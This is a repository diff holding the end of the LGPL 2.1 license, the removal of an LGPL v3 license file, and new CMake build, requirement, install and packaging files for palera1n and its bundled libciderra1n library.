In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Libraries
|
||||
|
||||
If you develop a new library, and you want it to be of the greatest
|
||||
possible use to the public, we recommend making it free software that
|
||||
everyone can redistribute and change. You can do so by permitting
|
||||
redistribution under these terms (or, alternatively, under the terms of the
|
||||
ordinary General Public License).
|
||||
|
||||
To apply these terms, attach the following notices to the library. It is
|
||||
safest to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least the
|
||||
"copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the library's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the library, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the
|
||||
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1990
|
||||
Ty Coon, President of Vice
|
||||
|
||||
That's all there is to it!
|
||||
@@ -1,165 +0,0 @@
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
|
||||
This version of the GNU Lesser General Public License incorporates
|
||||
the terms and conditions of version 3 of the GNU General Public
|
||||
License, supplemented by the additional permissions listed below.
|
||||
|
||||
0. Additional Definitions.
|
||||
|
||||
As used herein, "this License" refers to version 3 of the GNU Lesser
|
||||
General Public License, and the "GNU GPL" refers to version 3 of the GNU
|
||||
General Public License.
|
||||
|
||||
"The Library" refers to a covered work governed by this License,
|
||||
other than an Application or a Combined Work as defined below.
|
||||
|
||||
An "Application" is any work that makes use of an interface provided
|
||||
by the Library, but which is not otherwise based on the Library.
|
||||
Defining a subclass of a class defined by the Library is deemed a mode
|
||||
of using an interface provided by the Library.
|
||||
|
||||
A "Combined Work" is a work produced by combining or linking an
|
||||
Application with the Library. The particular version of the Library
|
||||
with which the Combined Work was made is also called the "Linked
|
||||
Version".
|
||||
|
||||
The "Minimal Corresponding Source" for a Combined Work means the
|
||||
Corresponding Source for the Combined Work, excluding any source code
|
||||
for portions of the Combined Work that, considered in isolation, are
|
||||
based on the Application, and not on the Linked Version.
|
||||
|
||||
The "Corresponding Application Code" for a Combined Work means the
|
||||
object code and/or source code for the Application, including any data
|
||||
and utility programs needed for reproducing the Combined Work from the
|
||||
Application, but excluding the System Libraries of the Combined Work.
|
||||
|
||||
1. Exception to Section 3 of the GNU GPL.
|
||||
|
||||
You may convey a covered work under sections 3 and 4 of this License
|
||||
without being bound by section 3 of the GNU GPL.
|
||||
|
||||
2. Conveying Modified Versions.
|
||||
|
||||
If you modify a copy of the Library, and, in your modifications, a
|
||||
facility refers to a function or data to be supplied by an Application
|
||||
that uses the facility (other than as an argument passed when the
|
||||
facility is invoked), then you may convey a copy of the modified
|
||||
version:
|
||||
|
||||
a) under this License, provided that you make a good faith effort to
|
||||
ensure that, in the event an Application does not supply the
|
||||
function or data, the facility still operates, and performs
|
||||
whatever part of its purpose remains meaningful, or
|
||||
|
||||
b) under the GNU GPL, with none of the additional permissions of
|
||||
this License applicable to that copy.
|
||||
|
||||
3. Object Code Incorporating Material from Library Header Files.
|
||||
|
||||
The object code form of an Application may incorporate material from
|
||||
a header file that is part of the Library. You may convey such object
|
||||
code under terms of your choice, provided that, if the incorporated
|
||||
material is not limited to numerical parameters, data structure
|
||||
layouts and accessors, or small macros, inline functions and templates
|
||||
(ten or fewer lines in length), you do both of the following:
|
||||
|
||||
a) Give prominent notice with each copy of the object code that the
|
||||
Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the object code with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
4. Combined Works.
|
||||
|
||||
You may convey a Combined Work under terms of your choice that,
|
||||
taken together, effectively do not restrict modification of the
|
||||
portions of the Library contained in the Combined Work and reverse
|
||||
engineering for debugging such modifications, if you also do each of
|
||||
the following:
|
||||
|
||||
a) Give prominent notice with each copy of the Combined Work that
|
||||
the Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the Combined Work with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
c) For a Combined Work that displays copyright notices during
|
||||
execution, include the copyright notice for the Library among
|
||||
these notices, as well as a reference directing the user to the
|
||||
copies of the GNU GPL and this license document.
|
||||
|
||||
d) Do one of the following:
|
||||
|
||||
0) Convey the Minimal Corresponding Source under the terms of this
|
||||
License, and the Corresponding Application Code in a form
|
||||
suitable for, and under terms that permit, the user to
|
||||
recombine or relink the Application with a modified version of
|
||||
the Linked Version to produce a modified Combined Work, in the
|
||||
manner specified by section 6 of the GNU GPL for conveying
|
||||
Corresponding Source.
|
||||
|
||||
1) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (a) uses at run time
|
||||
a copy of the Library already present on the user's computer
|
||||
system, and (b) will operate properly with a modified version
|
||||
of the Library that is interface-compatible with the Linked
|
||||
Version.
|
||||
|
||||
e) Provide Installation Information, but only if you would otherwise
|
||||
be required to provide such information under section 6 of the
|
||||
GNU GPL, and only to the extent that such information is
|
||||
necessary to install and execute a modified version of the
|
||||
Combined Work produced by recombining or relinking the
|
||||
Application with a modified version of the Linked Version. (If
|
||||
you use option 4d0, the Installation Information must accompany
|
||||
the Minimal Corresponding Source and Corresponding Application
|
||||
Code. If you use option 4d1, you must provide the Installation
|
||||
Information in the manner specified by section 6 of the GNU GPL
|
||||
for conveying Corresponding Source.)
|
||||
|
||||
5. Combined Libraries.
|
||||
|
||||
You may place library facilities that are a work based on the
|
||||
Library side by side in a single library together with other library
|
||||
facilities that are not Applications and are not covered by this
|
||||
License, and convey such a combined library under terms of your
|
||||
choice, if you do both of the following:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work based
|
||||
on the Library, uncombined with any other library facilities,
|
||||
conveyed under the terms of this License.
|
||||
|
||||
b) Give prominent notice with the combined library that part of it
|
||||
is a work based on the Library, and explaining where to find the
|
||||
accompanying uncombined form of the same work.
|
||||
|
||||
6. Revised Versions of the GNU Lesser General Public License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions
|
||||
of the GNU Lesser General Public License from time to time. Such new
|
||||
versions will be similar in spirit to the present version, but may
|
||||
differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Library as you received it specifies that a certain numbered version
|
||||
of the GNU Lesser General Public License "or any later version"
|
||||
applies to it, you have the option of following the terms and
|
||||
conditions either of that published version or of any later version
|
||||
published by the Free Software Foundation. If the Library as you
|
||||
received it does not specify a version number of the GNU Lesser
|
||||
General Public License, you may choose any version of the GNU Lesser
|
||||
General Public License ever published by the Free Software Foundation.
|
||||
|
||||
If the Library as you received it specifies that a proxy can decide
|
||||
whether future versions of the GNU Lesser General Public License shall
|
||||
apply, that proxy's public statement of acceptance of any version is
|
||||
permanent authorization for you to choose that version for the
|
||||
Library.
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,9 @@
|
||||
find_program(BASH_EXECUTABLE bash REQUIRED)
|
||||
find_program(_GSED gsed REQUIRED)
|
||||
|
||||
execute_process(
|
||||
COMMAND "${BASH_EXECUTABLE}"
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/cmake/apple-headers.sh"
|
||||
WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}"
|
||||
COMMAND_ERROR_IS_FATAL ANY
|
||||
)
|
||||
@@ -0,0 +1,111 @@
|
||||
# =========================
|
||||
# MARK: INSTALL
|
||||
# =========================
|
||||
|
||||
if(LINUX AND NOT MINGW)
|
||||
if(WITH_GUI)
|
||||
install(TARGETS palera1n RUNTIME DESTINATION usr/bin)
|
||||
else()
|
||||
install(TARGETS palera1n RUNTIME DESTINATION bin)
|
||||
endif()
|
||||
elseif(IOS)
|
||||
install(PROGRAMS "${CMAKE_CURRENT_BINARY_DIR}/Debug-iphoneos/palera1n.app/palera1n" DESTINATION bin)
|
||||
elseif(APPLE AND WITH_GUI)
|
||||
install(TARGETS palera1n BUNDLE DESTINATION .)
|
||||
elseif(APPLE)
|
||||
install(TARGETS palera1n RUNTIME DESTINATION bin)
|
||||
elseif(MINGW)
|
||||
install(TARGETS palera1n
|
||||
RUNTIME DESTINATION .
|
||||
)
|
||||
|
||||
install(FILES
|
||||
"${CMAKE_CURRENT_BINARY_DIR}/libstdc++-6.dll"
|
||||
"${CMAKE_CURRENT_BINARY_DIR}/libgcc_s_seh-1.dll"
|
||||
"${CMAKE_CURRENT_BINARY_DIR}/libwinpthread-1.dll"
|
||||
DESTINATION .
|
||||
)
|
||||
|
||||
if(NOT WITH_CIDERRAIN)
|
||||
install(FILES
|
||||
"${CMAKE_CURRENT_BINARY_DIR}/libusb-1.0.dll"
|
||||
DESTINATION .
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if((LINUX AND NOT MINGW) OR IOS OR (APPLE AND NOT IOS AND NOT WITH_GUI))
|
||||
install(FILES "${CMAKE_SOURCE_DIR}/docs/palera1n.1" DESTINATION usr/share/man/man1)
|
||||
install(FILES "${CMAKE_SOURCE_DIR}/docs/p1ctl.8" DESTINATION usr/share/man/man8)
|
||||
endif()
|
||||
|
||||
if((LINUX AND NOT MINGW) OR IOS OR (APPLE AND NOT IOS AND WITH_GUI))
|
||||
include(InstallRequiredSystemLibraries)
|
||||
install(
|
||||
FILES "${CMAKE_CURRENT_SOURCE_DIR}/resources/in.palera.palera1n.desktop"
|
||||
DESTINATION share/applications
|
||||
)
|
||||
|
||||
install(
|
||||
FILES "${CMAKE_CURRENT_SOURCE_DIR}/resources/icons/hicolor/64x64/apps/in.palera.palera1n.png"
|
||||
DESTINATION usr/share/icons/hicolor/64x64/apps
|
||||
)
|
||||
|
||||
install(
|
||||
FILES "${CMAKE_CURRENT_SOURCE_DIR}/resources/icons/hicolor/128x128/apps/in.palera.palera1n.png"
|
||||
DESTINATION usr/share/icons/hicolor/128x128/apps
|
||||
)
|
||||
|
||||
install(
|
||||
FILES "${CMAKE_CURRENT_SOURCE_DIR}/resources/icons/hicolor/256x256/apps/in.palera.palera1n.png"
|
||||
DESTINATION usr/share/icons/hicolor/256x256/apps
|
||||
)
|
||||
|
||||
install(
|
||||
FILES "${CMAKE_CURRENT_SOURCE_DIR}/resources/icons/hicolor/512x512/apps/in.palera.palera1n.png"
|
||||
DESTINATION usr/share/icons/hicolor/512x512/apps
|
||||
)
|
||||
endif()
|
||||
|
||||
set(CPACK_PACKAGE_NAME "palera1n")
|
||||
set(CPACK_PACKAGE_VERSION "0")
|
||||
set(CPACK_PACKAGE_FILE_NAME "palera1n")
|
||||
|
||||
if(MINGW)
|
||||
set(CPACK_GENERATOR "NSIS64")
|
||||
|
||||
set(CPACK_PACKAGE_INSTALL_DIRECTORY "palera1n")
|
||||
set(CPACK_NSIS_DISPLAY_NAME "palera1n")
|
||||
set(CPACK_NSIS_PACKAGE_NAME "palera1n")
|
||||
set(CPACK_NSIS_BRANDING_TEXT "palera1n Setup")
|
||||
|
||||
set(CPACK_NSIS_MODIFY_PATH OFF)
|
||||
set(CPACK_NSIS_ENABLE_UNINSTALL_BEFORE_INSTALL ON)
|
||||
|
||||
set(CPACK_NSIS_MUI_ICON "${CMAKE_SOURCE_DIR}/resources/palera1n.ico")
|
||||
set(CPACK_NSIS_MUI_UNIICON "${CMAKE_SOURCE_DIR}/resources/palera1n.ico")
|
||||
|
||||
set(CPACK_PACKAGE_EXECUTABLES "palera1n" "palera1n")
|
||||
|
||||
set(CPACK_NSIS_CREATE_ICONS_EXTRA
|
||||
"CreateShortCut \\\"\\$DESKTOP\\\\palera1n.lnk\\\" \\\"\\$INSTDIR\\\\bin\\\\palera1n.exe\\\""
|
||||
)
|
||||
|
||||
set(CPACK_NSIS_DELETE_ICONS_EXTRA
|
||||
"Delete \\\"\\$DESKTOP\\\\palera1n.lnk\\\""
|
||||
)
|
||||
set(CPACK_RESOURCE_FILE_LICENSE "${CMAKE_SOURCE_DIR}/LICENSE")
|
||||
elseif(APPLE AND WITH_GUI)
|
||||
set(CPACK_GENERATOR "DragNDrop")
|
||||
else()
|
||||
set(CPACK_PACKAGING_INSTALL_PREFIX "/")
|
||||
set(CPACK_INCLUDE_TOPLEVEL_DIRECTORY OFF)
|
||||
if(WITH_GUI)
|
||||
include("${CMAKE_SOURCE_DIR}/cmake/LinuxDeploy.cmake")
|
||||
else()
|
||||
set(CPACK_GENERATOR "TGZ")
|
||||
endif()
|
||||
endif()
|
||||
set(CPACK_PACKAGE_DIRECTORY "${CMAKE_BINARY_DIR}")
|
||||
|
||||
include(CPack)
|
||||
@@ -0,0 +1,41 @@
|
||||
# =========================
|
||||
# BUILD REQUIREMENTS
|
||||
# =========================
|
||||
|
||||
if(LINUX AND WITH_STATIC)
|
||||
if(
|
||||
NOT CROSS_HOST_TRIPLE MATCHES "musl"
|
||||
AND NOT CMAKE_C_COMPILER_TARGET MATCHES "musl"
|
||||
AND NOT CMAKE_C_COMPILER MATCHES "musl"
|
||||
)
|
||||
message(FATAL_ERROR
|
||||
"Static builds on Linux require a musl toolchain. "
|
||||
"Please specify a musl cross-compiler or set "
|
||||
"-DCROSS_HOST_TRIPLE=...-linux-musl"
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(MINGW AND NOT WITH_STATIC)
|
||||
message(FATAL_ERROR
|
||||
"MinGW builds must be static. Please configure with -DWITH_STATIC=1"
|
||||
)
|
||||
endif()
|
||||
|
||||
if(MINGW AND WITH_TUI)
|
||||
message(FATAL_ERROR
|
||||
"-DWITH_TUI=1 is not supported on MinGW builds."
|
||||
)
|
||||
endif()
|
||||
|
||||
if(MINGW AND WITH_CIDERRAIN)
|
||||
message(FATAL_ERROR
|
||||
"-DWITH_CIDERRAIN=1 is not supported on MinGW builds."
|
||||
)
|
||||
endif()
|
||||
|
||||
if(IOS AND (WITH_TUI OR WITH_GUI))
|
||||
message(FATAL_ERROR
|
||||
"-DWITH_TUI=1 or -DWITH_GUI=1 is not supported on iOS builds."
|
||||
)
|
||||
endif()
|
||||
@@ -0,0 +1,61 @@
|
||||
# =========================
|
||||
# MARK: NON-CMAKE DEPENDENCIES: CIDERRAIN
|
||||
# =========================
|
||||
|
||||
message(STATUS "Building with Ciderra1n support")
|
||||
|
||||
# TODO: get rid
|
||||
execute_process(
|
||||
COMMAND patch --batch --forward -p1 -i ${CMAKE_SOURCE_DIR}/patches/liteusb/0001-cpp-compatible.patch
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb
|
||||
RESULT_VARIABLE LITEUSB_PATCH_RESULT
|
||||
)
|
||||
|
||||
if(IOS)
|
||||
execute_process(
|
||||
COMMAND xcrun --sdk iphoneos --show-sdk-path
|
||||
OUTPUT_VARIABLE IOS_SDK
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND ${CMAKE_COMMAND} -E env
|
||||
"EXTRA_CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||
"CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||
"LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||
make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
|
||||
RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
|
||||
)
|
||||
elseif(APPLE)
|
||||
execute_process(
|
||||
COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} EXTRA_CFLAGS=-mmacosx-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
|
||||
RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
|
||||
)
|
||||
else()
|
||||
execute_process(
|
||||
COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
|
||||
RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
|
||||
)
|
||||
endif()
|
||||
|
||||
if(NOT CIDERRA1N_BUILD_RESULT EQUAL 0)
|
||||
message(FATAL_ERROR "Failed to build Ciderra1n.")
|
||||
endif()
|
||||
|
||||
set(CIDERRAIN_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/include")
|
||||
set(CIDERRAIN_LIB "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/lib/ciderra1n/libciderra1n.a")
|
||||
target_include_directories(palera1n PRIVATE ${CIDERRAIN_INCLUDE_DIR})
|
||||
target_link_libraries(palera1n PRIVATE "${CIDERRAIN_LIB}")
|
